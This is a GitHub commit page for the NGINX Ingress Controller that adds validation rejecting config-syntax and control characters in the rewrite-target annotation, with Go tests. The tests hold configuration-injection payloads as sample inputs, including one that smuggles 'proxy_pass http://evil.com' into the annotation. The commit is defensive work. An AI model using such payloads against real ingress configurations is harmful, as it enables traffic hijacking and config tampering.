Skip to content

Commit 987befc

Browse files
nginx-botvepatel
andauthored
add more validation on rewrite-target (#8743)
add more validation on rewrite-target (#8740) Co-authored-by: Venktesh Shivam Patel <ve.patel@f5.com>
1 parent 763f7c0 commit 987befc

File tree

2 files changed

+68
-0
lines changed

2 files changed

+68
-0
lines changed

internal/k8s/validation.go

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -804,6 +804,18 @@ func validateRewriteTargetAnnotation(context *annotationValidationContext) field
804804
return field.ErrorList{field.Invalid(context.fieldPath, target, "rewrite target must start with /")}
805805
}
806806

807+
// Prevent NGINX configuration injection characters
808+
if strings.ContainsAny(target, ";{}[]|<>,^`~") {
809+
return field.ErrorList{field.Invalid(context.fieldPath, target, "NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target")}
810+
}
811+
812+
// Prevent control characters and line breaks that could break NGINX config
813+
for _, char := range target {
814+
if char <= 32 || char == 127 { // ASCII control characters; 127 is DEL, 32 is space
815+
return field.ErrorList{field.Invalid(context.fieldPath, target, "control characters not allowed in rewrite target")}
816+
}
817+
}
818+
807819
return nil
808820
}
809821

internal/k8s/validation_test.go

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3366,6 +3366,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
33663366
},
33673367
msg: "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)",
33683368
},
3369+
{
3370+
annotations: map[string]string{
3371+
"nginx.org/rewrite-target": "/foo/$1; } path / { my/location/test/ }",
3372+
},
3373+
specServices: map[string]bool{},
3374+
isPlus: false,
3375+
appProtectEnabled: false,
3376+
appProtectDosEnabled: false,
3377+
internalRoutesEnabled: false,
3378+
expectedErrors: []string{
3379+
`annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target`,
3380+
},
3381+
msg: "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target",
3382+
},
3383+
{
3384+
annotations: map[string]string{
3385+
"nginx.org/rewrite-target": "/api\npath",
3386+
},
3387+
specServices: map[string]bool{},
3388+
isPlus: false,
3389+
appProtectEnabled: false,
3390+
appProtectDosEnabled: false,
3391+
internalRoutesEnabled: false,
3392+
expectedErrors: []string{
3393+
`annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target`,
3394+
},
3395+
msg: "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target",
3396+
},
33693397
{
33703398
annotations: map[string]string{
33713399
"nginx.org/rewrite-target": "api/users",
@@ -3380,6 +3408,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
33803408
},
33813409
msg: "invalid nginx.org/rewrite-target annotation, does not start with slash",
33823410
},
3411+
{
3412+
annotations: map[string]string{
3413+
"nginx.org/rewrite-target": "/api/v1`; proxy_pass http://evil.com; #",
3414+
},
3415+
specServices: map[string]bool{},
3416+
isPlus: false,
3417+
appProtectEnabled: false,
3418+
appProtectDosEnabled: false,
3419+
internalRoutesEnabled: false,
3420+
expectedErrors: []string{
3421+
"annotations.nginx.org/rewrite-target: Invalid value: \"/api/v1`; proxy_pass http://evil.com; #\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
3422+
},
3423+
msg: "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection",
3424+
},
3425+
{
3426+
annotations: map[string]string{
3427+
"nginx.org/rewrite-target": "/path/$1|/backup/$1",
3428+
},
3429+
specServices: map[string]bool{},
3430+
isPlus: false,
3431+
appProtectEnabled: false,
3432+
appProtectDosEnabled: false,
3433+
internalRoutesEnabled: false,
3434+
expectedErrors: []string{
3435+
"annotations.nginx.org/rewrite-target: Invalid value: \"/path/$1|/backup/$1\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
3436+
},
3437+
msg: "invalid nginx.org/rewrite-target annotation, pipe character for alternatives",
3438+
},
33833439
}
33843440

33853441
for _, test := range tests {

0 commit comments

Comments
 (0)